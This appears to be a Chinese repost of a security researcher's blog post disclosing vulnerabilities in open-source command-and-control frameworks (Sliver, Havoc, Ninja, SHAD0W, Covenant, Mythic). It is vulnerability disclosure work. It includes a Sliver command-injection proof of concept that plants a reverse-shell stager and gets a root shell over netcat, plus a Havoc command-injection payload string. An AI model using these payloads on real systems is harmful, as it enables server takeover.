应用程序和源代码安全评估是 Include Security 工作的主要重点,但有时需要使用其他黑客编写的软件进行网络渗透测试。我决定调查网络和红队评估中使用的命令和控制 (C2) 框架。最初,我对 C2 框架了解不多,所以我开始深入研究开源代码以了解它们的工作原理。这篇文章介绍了在途中发现的一些有趣的漏洞。
这篇文章首先以图文并茂的形式介绍了什么是 C2 框架,然后概述了开源选项的现状。接下来,这篇文章简要介绍了 C2 框架威胁模型,然后分享了经过身份验证和未经身份验证的混合远程代码执行 (RCE) 漏洞的详细信息。
C2框架
过去几年,开源 C2 框架备受关注。闭源的 Cobalt Strike 一直是 C2 领域无可争议的王者,但开源替代方案在红队成员、威胁行为者和业余爱好者中越来越受欢迎。开源替代方案没有高昂的许可成本,而且在 Cobalt Strike 的默认行为受到大量分析和指纹识别的世界中,开源替代方案有可能不被人注意。
快速回顾:C2 框架是用于控制和维护对被黑客入侵计算机的访问的基础设施。C2 框架简化了攻击目标网络或组织的“操作员”(红队成员/渗透测试人员/黑客)的流程。经常与 C2 框架相关的一个术语是“后利用”:C2 框架旨在协助已经获得一定程度控制目标计算机的攻击者,无论是通过网络钓鱼、Web 漏洞还是供应链攻击。如果没有中央管理平台,后利用阶段很快就会变得混乱,尤其是对于协作的操作员团队而言。C2 框架旨在通过将三个组件打包在一起来解决该问题:代理、团队服务器和客户端。
C2框架由以下三个组件组成:
-
代理(也称为植入物 / 恶魔 / 信标)——在目标系统上运行的恶意软件,可连接回团队服务器、维持访问权限并在受感染系统上执行命令。
-
Teamserver – 中央后端服务,接收被黑系统上启动的代理的回调,并与代理进行通信。具有 API 或其他接口,使操作员能够与团队服务器交互并向代理发出指令。
-
客户端 – 操作员本地运行的 Web 界面或程序,用于连接到团队服务器,提供用于管理操作的 UI。在不太成熟的 C2 框架中,客户端可能只是团队服务器启动后呈现的命令行界面 (CLI),而不是在操作员自己的计算机上运行的单独组件。
该描述是 C2 框架应具备的最低要求。通常,代理具有避免被防病毒和端点检测与响应 (EDR) 产品检测到的功能,以及枚举有关受感染系统的信息并攻击其他系统的模块。同样,团队服务器通常提供一套功能,包括为一系列目标架构和操作系统生成代理二进制文件;管理从目标系统窃取的文件;为代理-团队服务器流量实施一系列传输协议以绕过防火墙规则;以及加密和验证代理-团队服务器流量。
C2 框架之间共享的其他术语:
-
窃取 – 从受感染系统下载/窃取的文件、凭证和屏幕截图,并存储在团队服务器上
-
监听器 – 在团队服务器上打开的端口,用于监听代理回调
-
处理程序——响应代理回调在团队服务器上执行的后端代码,例如,处理程序可以从代理接收战利品并将其下载到团队服务器
-
任务 – 操作员希望代理执行的排队操作
-
信标间隔 – 代理在检查团队服务器监听器以查看是否有任何任务要执行之间等待的固定时间段(例如每 10 秒)。这样做是因为它比持久连接更隐蔽
-
Stager – 在受感染主机上执行的最小代码片段,用于获取并运行完整的 C2 代理。它比数兆字节的代理更隐蔽且更容易部署
-
Stager listener – 在团队服务器上运行的服务,用于响应 stager 回调提供完整的代理
-
重定向器 – 接收代理回调并将其转发到团队服务器的服务器。旨在隐藏团队服务器的 IP 地址,并使代理与团队服务器之间的通信看起来像常规流量
下图显示了 C2 框架的典型用法:
开源 C2 框架
开源 C2 框架令人困惑,因为它们数量太多,每个框架都有不同的功能集、不同的 UI 和不同的术语。它们使用不同的编程语言编写,但现代框架往往分为两大阵营:用 Golang 编写的和用 C# 编写的。Golang 和 C# 都是 C2 堆栈所有三个组件的可靠语言,这意味着代理、团队服务器和客户端可以用同一种语言编写。Python 也是 C2 团队服务器和客户端的热门选择,而较旧的 C2 框架大量使用 PowerShell 作为代理,这是在 Windows 上运行恶意 PowerShell 代码更容易而不被发现的时代。
大多数 C2 框架都是由个人或小型贡献者团队发起的激情项目,许多曾经流行的框架不再处于积极开发中。有一些资源旨在使选择正确的 C2 框架变得更容易,例如C2Matrix 问卷,但几个建议的框架很久以前就被放弃了。我发现最有用的最近排名是Atomics 在 2024 年 4 月的周五播客上创建的淘汰赛括号。投票中,Mythic、Sliver 和 Havoc 成为社区的首选。
传统 C2 框架的一个有趣的限制是,框架将代理、团队服务器和客户端捆绑在一起,并且每个组件通常很难更换。我发现有些框架有相当先进的代理,但控制和协作代码却很原始。与此同时,其他 C2 框架拥有出色的 UI,具有操作员角色管理、攻击图、反应式前端,但代理不够复杂且不隐蔽。现代模块化框架正在解决组件之间的紧密耦合问题,我们稍后会详细讨论。
C2 框架威胁
操作员使用 C2 框架来简化复杂活动的管理。C2 框架为多个操作员在执行目标后利用时提供了一种协调方式。然而,C2 框架中的设计缺陷和错误可能会导致针对活动和红队操作员本身的安全风险。
以下是针对 C2 框架的一些可能威胁:
成分 | 威胁 | 例子 |
---|---|---|
代理->团队服务器 | 代理向团队服务器发送不受信任的输入,导致意外行为,例如在团队服务器主机上进行任意文件写入 | CVE-2024-6127 |
代理->操作员 | 代理向团队服务器发送不受信任的输入,当操作员在团队服务器 UI 中查看时,会导致跨站点脚本或远程代码执行 | CVE-2022-39197 |
操作员->团队服务器 | 低权限的操作员帐户(内部帐户、被盗用的凭证或通过其他漏洞)能够在团队服务器主机上执行远程代码 | CVE-2024-41111 |
第三方->代理 | 由于代理缺乏加密真实性,第三方网络攻击者可以冒充团队服务器并劫持红队活动 | CVE-2023-34758 |
第三方->团队服务器 | 由于存在错误或缺乏速率限制,未经身份验证的第三方可以拒绝向团队服务器提供服务 | 破坏漏洞 |
第三方->团队服务器 | 身份验证漏洞使第三方能够以操作员或服务帐户的身份向团队服务器进行身份验证 |
C2 框架漏洞
了解了背景知识后,我们现在来看看各个 C2 框架。
Sliver
Sliver是一封写给 Golang 的情书:代理、团队服务器和客户端都是用 Go 编写的。任何喜欢 Linux 命令行的人都会对 Sliver 的 UI(即 CLI)感到熟悉,尽管也可以编写自定义客户端。架构和代码质量很高,使用 mTLS 上的 GRPC 进行客户端-服务器通信,并可选择使用 mTLS、Wireguard、HTTPS 或 DNS 作为代理-服务器流量的传输协议。
我发现 Sliver 的代理(“植入物”)在 HackTheBox ProLabs Active Directory 网络上转移和提升权限时功能强大且可靠。Sliver 提供了多种方法来执行第三方工具,而 Sliver 真正的魔力在于军械库功能,它提供了大量扩展,而且可以轻松添加自己的扩展。代理还支持运行信标对象文件(BOF),这是由 Cobalt Strike 开发的一种与位置无关的代码格式,因此 Sliver 可以访问 BOF 的开源库。Dominic Breuker 撰写了一系列精彩的博客文章供您学习。
经过身份验证的命令注入
在审查最新预发布版 Sliver (1.6.0) 的 stager 代码时,我发现任何 Sliver 操作员(即经过身份验证的用户)都可以在团队服务器上获取 root shell。这打破了 Sliver 的威胁模型,其中“操作员和服务器之间存在明确的安全边界,操作员本质上不应该能够在服务器上运行命令或代码。” Sliver 具有多人模式,并正在添加基于角色的访问控制,以向操作员分配细粒度的权限。红队行动通常由多个人组成,一名低权限团队成员的妥协不应导致对服务器的完全管理控制。
这也是一种非常有趣的漏洞,因为我们让团队服务器使用 Metasploit 来攻破自身。我们本质上是在服务器上执行 Metasploit stager 负载,而不是将其发送到操作员客户端以部署到目标系统上。我向 Sliver 团队报告了此漏洞,并在发布稳定版本之前将其修复为CVE-2024-41111 。
Sliver 支持 Metasploit stager。在底层,Metasploit stagermsfvenom使用 Go 的 进行exec.Command()调用。用户选项在插入命令字符串之前会经过验证。去年添加了一项功能,为 Metasploit stager 提供高级选项。更改的目的是为了控制 Metasploit 选项,例如EXITFUNC=thread,但是更改允许为 指定其他命令行参数msfvenom。的一个参数msfvenom是--out,它将有效载荷写入文件而不是标准输出。这使我们能够将 stager 有效载荷写入团队服务器上的任意文件。
我们覆盖了 Sliver 自己的一个捆绑二进制文件/root/.sliver/go/bin/garble:
sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/garble
[*] Sliver implant stager saved to: [...]
在攻击系统 192.168.0.128 的 8888 端口上设置一个 netcat shell。然后通过运行代理编译命令来触发 stager,该命令间接执行/root/.sliver/go/bin/garble:
sliver > generate beacon --mtls 1.2.3.4
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
та╝ Compiling, please wait ...
将会弹出一个 root shell:
$ nc -lvp 8888
Listening on 0.0.0.0 8888
Connection received on 192.168.0.183 39238
whoami
root
Sliver 团队通过删除命令修复了漏洞generate msf-stager,文档现在指示操作员在本地而不是在团队服务器上生成自己的 Metasploit stager。Sliver 团队很乐意与我们交谈,并送了一瓶威士忌作为他们饮料类漏洞赏金奖励的一部分。
Havoc
Havoc的团队服务器也是用 Go 编写的,但客户端是 C++ 的并具有 Qt GUI,而代理则是用 C 和 ASM 编写的。Havoc 相对于 Sliver 的主要优势在于其酷炫的 GUI,它类似于 Cobalt Strike,可以可视化被黑机器上的活动会话。我发现 Havoc 的代码不如 Sliver 的成熟,在一些地方有一些不完善的地方,不过随着开发人员重构原始代码库,它正在不断改进。默认的 Havoc 代理 (“demon”) 能够使用进程注入在远程进程中执行 shellcode,并通过 .NET 内联汇编执行 BOF 文件。与 Sliver 相比,它的扩展库较小,编写扩展所需的开销稍微多一点。考虑到 Havoc 是由一名十几岁的开发人员作为业余项目启动的,它非常令人印象深刻,并且可能是所有 C2 框架中最好的 UI。
另一个经过身份验证的命令注入
Havoc 在团队服务器中存在一个经过身份验证的 RCE 漏洞,与 Sliver 中的漏洞类似。此外,默认的 Havoc 配置会创建两个用户,密码均为“password1234”,因此任何人在不受信任的网络上粗心地使用默认设置运行 Havoc 都可能立即受到此 RCE 漏洞的攻击。
调用exec.Command()用于代表用户编译自定义代理,除“服务名称”字段外,每个客户端参数都经过清理。由于sh -c程序正在运行,因此可以取消编译命令并改为运行任意命令。甚至可以在 Havoc UI 中查看结果,尽管也可以通过使用团队服务器的 WebSockets 协议来自动执行整个攻击。
服务名称字段的注入有效负载如下所示" -mbla; CMD 1>&2 && false #:
"退出引号
-mbla导致 MinGW 编译失败,而不必等待它
CMD 1>&2将选定的有效载荷重定向到 stderr
&& false导致命令失败并且服务器发回 stderr 输出
#注入后注释掉参数
服务 API 身份验证绕过
在此之前的某个时间,我还在 Havoc 的服务 API 功能中发现了一个身份验证绕过问题。身份验证逻辑会循环遍历用户名和密码,但如果没有匹配的用户名和密码,则该函数不会返回 false。这意味着恶意服务可以连接到团队服务器,提供错误的密码,然后继续向团队服务器发送消息,而团队服务器会将这些消息视为已授权。
服务 API 代码与用户代理生成代码是分开的,否则放在一起可能会存在利用这两个漏洞针对 Havoc 团队服务器的完整未经身份验证的攻击链。
作为对这一披露的回应,Havoc 开发人员在 Havoc 的发布说明中给予了赞扬,将我添加到私人成员/贡献者频道,并邀请我查找更多错误。服务 API 身份验证绕过已修复,但经过身份验证的 RCE 仍然存在于 Havoc 的主分支中,因为现在所有开发工作都集中在重写分支上。
Ninja
我在两个流行的开源 C2 框架中发现了经过身份验证的 RCE,但没有找到将它们升级为完全未经身份验证的 RCE 的方法。为此,我需要研究一些鲜为人知的框架。
Ninja C2基于伊朗 APT 组织使用的已泄露的 MuddyC3 代码。团队服务器使用 Python 编写,代理使用 PowerShell。其设计目标是隐身,每次发起新活动时,许多行为都会发生变化。例如,团队服务器会生成模糊的 Web 服务器回调 URL,这些 URL 会随着每次活动而变化。Sliver 和 Havoc 的许多功能都存在,尽管形式更基础。相关博客文章声称,Ninja 在新发布时能够绕过主要的 AV 和 SIEM 产品,这表明,在隐身方面,不熟悉的攻击特征是最重要的。
未经认证的任意文件下载
Ninja Web 服务器存在漏洞,攻击者可以通过路径遍历下载未经身份验证的任意文件。当 TeamServer 以 root 身份运行时,这会导致 TeamServer 立即受到 RCE 攻击,或者 TeamServer 下次重新启动时受到 RCE 攻击。
该漏洞的前提条件与 2016 年针对 Empire 框架的Skywalker漏洞相同,后者是一个经典的 C2 框架漏洞,具有自己的Metasploit 模块。Skywalker 漏洞发生在以下情况:
-
团队服务器包含代理可以调用的下载端点。
-
代理可以提供其上传到团队服务器的文件的完整文件路径。
-
filepath 参数容易受到路径遍历的攻击。
请注意,对于 Sliver 来说,这三个先决条件都不成立。在 Sliver 中,只有操作员请求时才会下载;代理无法控制文件路径;文件名由客户端使用基本名称而不是文件的完整路径设置。
在 Ninja 的案例中,代理也不需要任何特殊密钥即可向 Ninja 团队服务器注册。恶意的假代理可以调用注册端点,然后将恶意文件上传到团队服务器上的任意文件路径。唯一的障碍是 URL 端点是从每个活动的列表中随机挑选的,但端点列表很短,可以被暴力破解。漏洞脚本使用 crontab 中的反向 shell 回调来实现这一点。
我多次联系 Ninja 开发人员,但没有收到回复。
SHAD0W
SHAD0W是一个 C2 框架,带有 Python 后端和用 C 编写的代理。它在三年前很流行,但此后一直没有进一步发展。用户界面是一个很酷的黑客 CLI,类似于 Sliver。SHAD0W 的主要特点是模块化,具有干净的代码库和用于添加新命令和模块的简单协议。另一个重点是隐身,使用一个代理实现反 DLL 注入、动态解析的系统调用和用于进程注入的线程劫持。我认为 SHAD0W 的开发停止了,这很遗憾,因为我发现与大多数其他框架相比,这个框架的代码更容易理解。
未经认证的 RCE
SHAD0W 容易受到未经身份验证的 RCE 攻击,其中代理提供的不受信任的输入被注入到团队服务器上运行的命令中。当新代理(SHAD0W 术语中的“信标”)登录到团队服务器时,信标会报告有关受感染系统的架构、操作系统、域和其他信息。
在 SHAD0W 中,信标模块在目标系统的团队服务器上按需编译。SHAD0W 中的几个模块在编译 shellcode 时使用信标提供的任意值作为参数。例如,migrate实现进程迁移的模块将架构值传递给buildtools.make_in_clone()。该值最终被插入到命令os.system()的函数调用中make。
当信标首次连接到团队服务器时,信标提供的值会显示给 C2 操作员,因此这里需要一定程度的混淆来伪装有效载荷并激发操作员与信标交互的好奇心。当操作员与信标交互并使用该migrate模块时,攻击者的命令将在团队服务器上执行。
我多次联系 SHAD0W 开发人员,但没有收到回复。
Covenant
Covenant 是 3-4 年前流行的另一个框架,也是 Zero Point Security 的Red Team Ops课程首次迭代所选用的框架。服务器用 C# 编写,客户端是 C# Blazor Web 应用程序。自那时起,该框架几乎没有任何发展。该框架有许多简洁的功能,包括干净的 UI、用于代理-服务器通信的加密前向保密性以及用于动态修改代理-服务器通信在线路上显示方式的侦听器配置文件。
权限升级
Covenant 的当前 master 和 dev 分支都容易受到从用户到管理员的权限升级的影响。除非您是管理员,否则API会阻止编辑角色,但在 UI 本身中,用户可以为自己赋予管理员角色。
用户现在可以使用 Covenant 最强大的功能,即创建 HTTP 侦听器配置文件,该功能仅限于管理员使用。虽然没有内置方法可以在 Covenant 服务器上获取 shell,但 HTTP 配置文件功能本质上可以在服务器上运行 C# 代码,以此来自定义发送到代理和从代理发送的流量。
另一个经过身份验证的命令注入
由于 Covenant 编译器将命名空间限制System为,因此 C# 代码受到限制System.Private.CoreLib.dll,这意味着Process无法直接使用。然而,0xcoastal 之前对 Covenant 进行了一项有趣的研究,发现了Tim Malcolmvetter 的一篇博客文章,该文章表明,只需要Activator和Assembly类即可执行任意 .NET 程序集的进程注入。这项研究将编写漏洞利用概念验证作为读者的练习,因此我实施了一个攻击脚本,完成了从低权限用户到 Covenant 团队服务器上的 shell 的升级。
Covenant 开发人员承认存在权限提升漏洞,下次开发 Covenant 时会修复该漏洞。他要求添加以下附录:“对 Covenant 监听器的网络访问不足以解决此漏洞。此漏洞需要对 Covenant 管理端口进行逻辑访问,该端口不应公开。这是经过身份验证的权限提升,需要访问有效的现有用户帐户。通过自定义配置文件以管理员身份通过管理界面在 Covenant 服务器上进行 RCE 是已知且预期的功能。尽管 Covenant 目前尚未积极开发,但 Covenant 仍处于测试阶段(v1.0 之前)。Covenant 是出于业余爱好而开发的,从未进行过专业的安全风险评估。”
Mythic
目前尚未出现的一个流行 C2 框架是Mythic。Mythic的设计与大多数 C2 不同,它是一个模块化平台,必须进行定制,因为它没有内置代理。Mythic 系统的每个部分都有自己的 Docker 容器,启动 Mythic 默认需要启动八个 Docker 容器(一个用于 Web 服务器,一个用于数据库,一个用于 GraphQL API 等),然后为要使用的特定代理和传输添加更多容器。
这使得 Mythic 能够更加专注于团队服务器上的架构和协作体验,而不是构建隐秘的代理。用户界面确实看起来有些过时,但一旦你开始与服务器交互,很明显 Mythic 拥有大量团队服务器功能和生活质量功能,比我看过的任何其他 C2 框架都要多。该平台具有完整的用户和服务帐户角色管理,并允许启动涉及具有多个权限级别的不同操作员的活动。Mythic 在跟踪活动期间发生的一切方面也很先进,并且数据易于搜索,以加快报告速度。
从我所做的快速代码审查来看,我没有发现 Mythic 的 API 身份验证和逻辑中存在任何明显的缺陷,也没有发现 Mythic 服务器上存在任何 RCE 机会。但对于我正在进行的 HackTheBox 实验室来说,Mythic 有点大材小用,所以我没有深入研究它。它看起来非常适合大型操作,目前比任何其他开源 C2 框架都更积极地开发。我想知道这是否是开源 C2 框架的未来——一个模块化协作平台,您可以轻松地将自己的代理插入其中,甚至为其开发自己的 API 前端,而不是紧密耦合代理、客户端和团队服务器组件。
结论
总的来说,在这次探索过程中,我学到了一些东西。C2 框架旨在帮助您在其他人的计算机上运行命令,但具有讽刺意味的是,许多 C2 框架都容易受到未经授权的命令的影响。在某些情况下,只需在公共网络(例如 HackTheBox VPN)上使用默认选项启动这些框架,您就会受到 RCE 的攻击。我认为这一点很重要,因为许多用户都是业余爱好者,他们与好友一起尝试和玩 CTF,不会对团队服务器进行高级操作部署。
漏洞的根源在于团队服务器需要在 C2 框架中履行的复杂度和角色数量。团队服务器代表操作员编译漏洞利用程序,在 UI 中显示来自外部不受信任 IP 的数据,并从被黑系统下载文件。要防止这些功能被利用,需要严格验证任何外部输入并尽量减少对system()函数的调用次数。测试的 C2 框架通常会执行此验证,但在某些地方出现了一个疏忽,这意味着攻击者的输入流入了强大的接收函数。通过严格执行代理、团队服务器和客户端之间的数据边界,框架最有可能避免此类漏洞。例如,请参阅 Ninja 与 Sliver 对 Skywalker 漏洞前提条件的方法的比较(在上面的 Ninja 部分下)。
我很惊讶有这么多很棒的开源 C2 框架不再维护。除了开源开发人员的时间和兴趣通常受到限制之外,我想知道是否存在这样的一个周期:新框架在首次发布时被大肆宣传能够绕过 Defender,但很快就会获得签名。最先进的技术发展迅速,开发人员对大量发送给他们的低成本问题感到厌烦。然而,我预计有很多公开死亡的框架的活跃私人分支。
正如 Atomics on a Friday 播客中讨论的那样,这也是为什么“自带代理”模型对开源 C2 框架有意义的另一个原因。Cobalt Strike 的默认传输和信标行为受到大量指纹识别,因此需要大量修补和定制才能在防御合理的环境中工作。开源 C2 框架一经发布,其代理和传输协议就开始遭遇同样的命运。团队服务器面向客户端的部分和客户端本身是系统中暴露最少的组件,因此,让这些组件可靠/安全/功能丰富,并期望操作员开发自己的闭源规避代理和传输是一个实用的设计决策。
概念验证漏洞在此发布。
原文始发于微信公众号(Ots安全):开源 C2 框架中的漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论